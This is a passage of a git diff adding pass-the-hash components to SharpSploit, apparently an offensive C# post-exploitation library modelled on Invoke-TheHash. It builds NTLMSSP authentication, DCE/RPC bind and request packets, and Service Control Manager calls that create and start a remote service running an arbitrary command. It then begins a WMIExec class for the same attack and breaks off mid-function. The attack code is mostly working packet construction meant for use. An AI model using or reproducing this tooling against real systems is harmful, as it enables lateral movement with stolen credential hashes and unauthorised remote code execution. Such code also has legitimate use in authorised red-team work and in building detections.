byte[] packet_NTLMSSP_length2 = { packet_NTLMSSP_length[0] }; + + int packet_ASN_length_1 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 32; + byte[] packet_ASN_length_1_2 = (BitConverter.GetBytes(packet_ASN_length_1)); + + int packet_ASN_length_2 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 22; + byte[] packet_ASN_length_2_2 = (BitConverter.GetBytes(packet_ASN_length_2)); + + int packet_ASN_length_3 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 20; + byte[] packet_ASN_length_3_2 = (BitConverter.GetBytes(packet_ASN_length_3)); + + int packet_ASN_length_4 = Convert.ToInt32(packet_NTLMSSP_length[0]) + 2; + byte[] packet_ASN_length_4_2 = BitConverter.GetBytes(packet_ASN_length_4); + + + OrderedDictionary packet_NTLMSSPNegotiate = new OrderedDictionary(); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID", new byte[] { 0x60 }); // the ASN.1 key names are likely not all correct + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength", new byte[] { packet_ASN_length_1_2[0] }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID", new byte[] { 0x06 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength", new byte[] { 0x06 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID", new byte[] { 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID", new byte[] { 0xa0 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength", new byte[] { packet_ASN_length_2_2[0] }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2", new byte[] { 0x30 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2", new byte[] { packet_ASN_length_3_2[0] }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID", new byte[] { 0xa0 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength", new byte[] { 0x0e }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2", new byte[] { 0x30 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2", new byte[] { 0x0c }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3", new byte[] { 0x06 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3", new byte[] { 0x0a }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType", new byte[] { 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID", new byte[] { 0xa2 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength", new byte[] { packet_ASN_length_4_2[0] }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID", new byte[] { 0x04 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength", new byte[] { packet_NTLMSSP_length2[0] }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags", packet_negotiate_flags); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + + if (packet_version != null) + { + packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version", packet_version); + } + + return packet_NTLMSSPNegotiate; + + + } + public static OrderedDictionary NTLMSSPAuth(byte[] packet_NTLM_response) + { + + + byte[] packet_NTLMSSP_length = BitConverter.GetBytes(packet_NTLM_response.Length); + packet_NTLMSSP_length = new byte[] { packet_NTLMSSP_length[1], packet_NTLMSSP_length[0] }; + byte[] packet_ASN_length_1 = BitConverter.GetBytes(packet_NTLM_response.Length + 12); + byte[] packet_ASN_length_1_2 = { packet_ASN_length_1[1], packet_ASN_length_1[0] }; + byte[] packet_ASN_length_2 = BitConverter.GetBytes(packet_NTLM_response.Length + 8); + byte[] packet_ASN_length_2_2 = { packet_ASN_length_2[1], packet_ASN_length_2[0] }; + byte[] packet_ASN_length_3 = BitConverter.GetBytes(packet_NTLM_response.Length + 4); + byte[] packet_ASN_length_3_2 = { packet_ASN_length_3[1], packet_ASN_length_3[0] }; + + + + OrderedDictionary packet_NTLMSSPAuth = new OrderedDictionary(); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID", new byte[] { 0xa1, 0x82 }); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength", packet_ASN_length_1_2); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2", new byte[] { 0x30, 0x82 }); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2", packet_ASN_length_2_2); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3", new byte[] { 0xa2, 0x82 }); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3", packet_ASN_length_3_2); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID", new byte[] { 0x04, 0x82 }); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength", packet_NTLMSSP_length); + packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse", packet_NTLM_response); + + return packet_NTLMSSPAuth; + + } + public static OrderedDictionary RPCBind(int packet_call_ID, byte[] packet_max_frag, byte[] packet_num_ctx_items, byte[] packet_context_ID, byte[] packet_UUID, byte[] packet_UUID_version) + { + + byte[] packet_call_ID_bytes = BitConverter.GetBytes(packet_call_ID); + + OrderedDictionary packet_RPCBind = new OrderedDictionary(); + packet_RPCBind.Add("RPCBind_Version", new byte[] { 0x05 }); + packet_RPCBind.Add("RPCBind_VersionMinor", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_PacketType", new byte[] { 0x0b }); + packet_RPCBind.Add("RPCBind_PacketFlags", new byte[] { 0x03 }); + packet_RPCBind.Add("RPCBind_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_FragLength", new byte[] { 0x48, 0x00 }); + packet_RPCBind.Add("RPCBind_AuthLength", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallID", packet_call_ID_bytes); + packet_RPCBind.Add("RPCBind_MaxXmitFrag", new byte[] { 0xb8, 0x10 }); + packet_RPCBind.Add("RPCBind_MaxRecvFrag", new byte[] { 0xb8, 0x10 }); + packet_RPCBind.Add("RPCBind_AssocGroup", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NumCtxItems", packet_num_ctx_items); + packet_RPCBind.Add("RPCBind_Unknown", new byte[] { 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID", packet_context_ID); + packet_RPCBind.Add("RPCBind_NumTransItems", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown2", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface", packet_UUID); + packet_RPCBind.Add("RPCBind_InterfaceVer", packet_UUID_version); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax", new byte[] { 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + + + if (packet_num_ctx_items[0] == 2) + { + packet_RPCBind.Add("RPCBind_ContextID2", new byte[] { 0x01, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems2", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown3", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface2", new byte[] { 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a }); + packet_RPCBind.Add("RPCBind_InterfaceVer2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax2", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer2", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + } + else if (packet_num_ctx_items[0] == 3) + { + packet_RPCBind.Add("RPCBind_ContextID2", new byte[] { 0x01, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems2", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown3", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface2", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_RPCBind.Add("RPCBind_InterfaceVer2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax2", new byte[] { 0x33, 0x05, 0x71, 0x71, 0xba, 0xbe, 0x37, 0x49, 0x83, 0x19, 0xb5, 0xdb, 0xef, 0x9c, 0xcc, 0x36 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer2", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID3", new byte[] { 0x02, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems3", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown4", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface3", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_RPCBind.Add("RPCBind_InterfaceVer3", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor3", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax3", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer3", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_AuthType", new byte[] { 0x0a }); + packet_RPCBind.Add("RPCBind_AuthLevel", new byte[] { 0x04 }); + packet_RPCBind.Add("RPCBind_AuthPadLength", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_AuthReserved", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID4", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); + packet_RPCBind.Add("RPCBind_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NegotiateFlags", new byte[] { 0x97, 0x82, 0x08, 0xe2 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_OSVersion", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f }); + } + + if (packet_call_ID == 3) + { + packet_RPCBind.Add("RPCBind_AuthType", new byte[] { 0x0a }); + packet_RPCBind.Add("RPCBind_AuthLevel", new byte[] { 0x02 }); + packet_RPCBind.Add("RPCBind_AuthPadLength", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_AuthReserved", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID3", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); + packet_RPCBind.Add("RPCBind_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NegotiateFlags", new byte[] { 0x97, 0x82, 0x08, 0xe2 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_OSVersion", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f }); + } + + return packet_RPCBind; + } + public static OrderedDictionary RPCRequest(byte[] packet_flags, int packet_service_length, int packet_auth_length, int packet_auth_padding, byte[] packet_call_ID, byte[] packet_context_ID, byte[] packet_opnum, byte[] packet_data) + { + int packet_full_auth_length; + byte[] packet_write_length; + byte[] packet_alloc_hint; + if (packet_auth_length > 0) + { + packet_full_auth_length = packet_auth_length + packet_auth_padding + 8; + } + else + { + packet_full_auth_length = 0; + } + + + if (packet_data != null) + { + packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length + packet_data.Length); + packet_alloc_hint = BitConverter.GetBytes(packet_service_length + packet_data.Length); + } + else + { + packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length); + packet_alloc_hint = BitConverter.GetBytes(packet_service_length); + + } + + byte[] packet_frag_length = { packet_write_length[0], packet_write_length[1] }; + byte[] packet_auth_length2 = BitConverter.GetBytes(packet_auth_length); + byte[] packet_auth_length3 = { packet_auth_length2[0], packet_auth_length2[1] }; + + OrderedDictionary packet_RPCRequest = new OrderedDictionary(); + packet_RPCRequest.Add("RPCRequest_Version", new byte[] { 0x05 }); + packet_RPCRequest.Add("RPCRequest_VersionMinor", new byte[] { 0x00 }); + packet_RPCRequest.Add("RPCRequest_PacketType", new byte[] { 0x00 }); + packet_RPCRequest.Add("RPCRequest_PacketFlags", packet_flags); + packet_RPCRequest.Add("RPCRequest_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCRequest.Add("RPCRequest_FragLength", packet_frag_length); + packet_RPCRequest.Add("RPCRequest_AuthLength", packet_auth_length3); + packet_RPCRequest.Add("RPCRequest_CallID", packet_call_ID); + packet_RPCRequest.Add("RPCRequest_AllocHint", packet_alloc_hint); + packet_RPCRequest.Add("RPCRequest_ContextID", packet_context_ID); + packet_RPCRequest.Add("RPCRequest_Opnum", packet_opnum); + + if (packet_data != null && packet_data.Length > 0) + { + packet_RPCRequest.Add("RPCRequest_Data", packet_data); + } + + return packet_RPCRequest; + + } + + + + //Look into to see if this can be simplified with what we already have. + public static OrderedDictionary SCMOpenSCManagerW(byte[] packet_service, byte[] packet_service_length) + { + byte[] packet_write_length = BitConverter.GetBytes(packet_service.Length + 92); + byte[] packet_frag_length = { packet_write_length[0], packet_write_length[1] }; + byte[] packet_alloc_hint = BitConverter.GetBytes(packet_service.Length + 68); + Random r = new Random(); + byte[] packet_referent_init = new byte[2]; + r.NextBytes(packet_referent_init); + byte[] packet_referent_ID1 = packet_referent_init.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + byte[] packet_referent_init2 = new byte[2]; + r.NextBytes(packet_referent_init2); + byte[] packet_referent_ID2 = packet_referent_init2.Concat(new byte[] { 0x00, 0x00 }).ToArray(); + + + OrderedDictionary packet_SCMOpenSCManagerW = new OrderedDictionary(); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID", packet_referent_ID1); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount", packet_service_length); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount", packet_service_length); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName", packet_service); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID", packet_referent_ID2); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount", new byte[] { 0x0f, 0x00, 0x00, 0x00 }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount", new byte[] { 0x0f, 0x00, 0x00, 0x00 }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database", new byte[] { 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x41, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x00, 0x00 }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown", new byte[] { 0xbf, 0xbf }); + packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask", new byte[] { 0x3f, 0x00, 0x00, 0x00 }); + + return packet_SCMOpenSCManagerW; + } + public static OrderedDictionary SCMCreateServiceW(byte[] packet_context_handle, byte[] packet_service, byte[] packet_service_length, byte[] packet_command, byte[] packet_command_length) + { + Random r = new Random(); + byte[] packet_referent_init = new byte[2]; + r.NextBytes(packet_referent_init); + byte[] nulls = { 0x00, 0x00 }; + byte[] packet_referent_ID = new byte[4]; + Buffer.BlockCopy(packet_referent_init, 0, packet_referent_ID, 0, packet_referent_init.Length); + Buffer.BlockCopy(nulls, 0, packet_referent_ID, packet_referent_init.Length, nulls.Length); + OrderedDictionary packet_SCMCreateServiceW = new OrderedDictionary(); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle", packet_context_handle); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount", packet_service_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount", packet_service_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName", packet_service); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID", packet_referent_ID); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount", packet_service_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount", packet_service_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName", packet_service); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask", new byte[] { 0xff, 0x01, 0x0f, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType", new byte[] { 0x03, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount", packet_command_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount", packet_command_length); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName", packet_command); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + + return packet_SCMCreateServiceW; + } + public static OrderedDictionary SCMStartServiceW(byte[] packet_context_handle) + { + OrderedDictionary packet_SCMStartServiceW = new OrderedDictionary(); + packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle", packet_context_handle); + packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + return packet_SCMStartServiceW; + } + public static OrderedDictionary SCMDeleteServiceW(byte[] packet_context_handle) + { + OrderedDictionary packet_SCMDeleteServiceW = new OrderedDictionary(); + packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle", packet_context_handle); + + return packet_SCMDeleteServiceW; + } + public static OrderedDictionary SCMCloseServiceHandle(byte[] packet_context_handle) + { + OrderedDictionary packet_SCM_CloseServiceW = new OrderedDictionary(); + packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle", packet_context_handle); + + return packet_SCM_CloseServiceW; + } + #endregion + + } +} diff --git a/SharpSploit/Execution/PassTheHash/WMIExec.cs b/SharpSploit/Execution/PassTheHash/WMIExec.cs new file mode 100644 index 0000000..e66535e --- /dev/null +++ b/SharpSploit/Execution/PassTheHash/WMIExec.cs @@ -0,0 +1,428 @@ +using SharpSploit.Misc; +using System; +using System.Collections.Specialized; +using System.Linq; +using System.Text; + +namespace SharpSploit.Execution +{ + public class WMIExec + { + /// + /// WMIExec contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks. + /// + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + + public static OrderedDictionary RPCBind(int packet_call_ID, byte[] packet_max_frag, byte[] packet_num_ctx_items, byte[] packet_context_ID, byte[] packet_UUID, byte[] packet_UUID_version) + { + + byte[] packet_call_ID_bytes = BitConverter.GetBytes(packet_call_ID); + + OrderedDictionary packet_RPCBind = new OrderedDictionary(); + packet_RPCBind.Add("RPCBind_Version", new byte[] { 0x05 }); + packet_RPCBind.Add("RPCBind_VersionMinor", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_PacketType", new byte[] { 0x0b }); + packet_RPCBind.Add("RPCBind_PacketFlags", new byte[] { 0x03 }); + packet_RPCBind.Add("RPCBind_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_FragLength", new byte[] { 0x48, 0x00 }); + packet_RPCBind.Add("RPCBind_AuthLength", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallID", packet_call_ID_bytes); + packet_RPCBind.Add("RPCBind_MaxXmitFrag", new byte[] { 0xb8, 0x10 }); + packet_RPCBind.Add("RPCBind_MaxRecvFrag", new byte[] { 0xb8, 0x10 }); + packet_RPCBind.Add("RPCBind_AssocGroup", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NumCtxItems", packet_num_ctx_items); + packet_RPCBind.Add("RPCBind_Unknown", new byte[] { 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID", packet_context_ID); + packet_RPCBind.Add("RPCBind_NumTransItems", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown2", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface", packet_UUID); + packet_RPCBind.Add("RPCBind_InterfaceVer", packet_UUID_version); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax", new byte[] { 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + + + if (packet_num_ctx_items[0] == 2) + { + packet_RPCBind.Add("RPCBind_ContextID2", new byte[] { 0x01, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems2", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown3", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface2", new byte[] { 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a }); + packet_RPCBind.Add("RPCBind_InterfaceVer2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax2", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer2", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + } + else if (packet_num_ctx_items[0] == 3) + { + packet_RPCBind.Add("RPCBind_ContextID2", new byte[] { 0x01, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems2", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown3", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface2", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_RPCBind.Add("RPCBind_InterfaceVer2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor2", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax2", new byte[] { 0x33, 0x05, 0x71, 0x71, 0xba, 0xbe, 0x37, 0x49, 0x83, 0x19, 0xb5, 0xdb, 0xef, 0x9c, 0xcc, 0x36 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer2", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID3", new byte[] { 0x02, 0x00 }); + packet_RPCBind.Add("RPCBind_NumTransItems3", new byte[] { 0x01 }); + packet_RPCBind.Add("RPCBind_Unknown4", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_Interface3", new byte[] { 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_RPCBind.Add("RPCBind_InterfaceVer3", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_InterfaceVerMinor3", new byte[] { 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntax3", new byte[] { 0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_TransferSyntaxVer3", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_AuthType", new byte[] { 0x0a }); + packet_RPCBind.Add("RPCBind_AuthLevel", new byte[] { 0x04 }); + packet_RPCBind.Add("RPCBind_AuthPadLength", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_AuthReserved", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID4", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); + packet_RPCBind.Add("RPCBind_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NegotiateFlags", new byte[] { 0x97, 0x82, 0x08, 0xe2 }); + 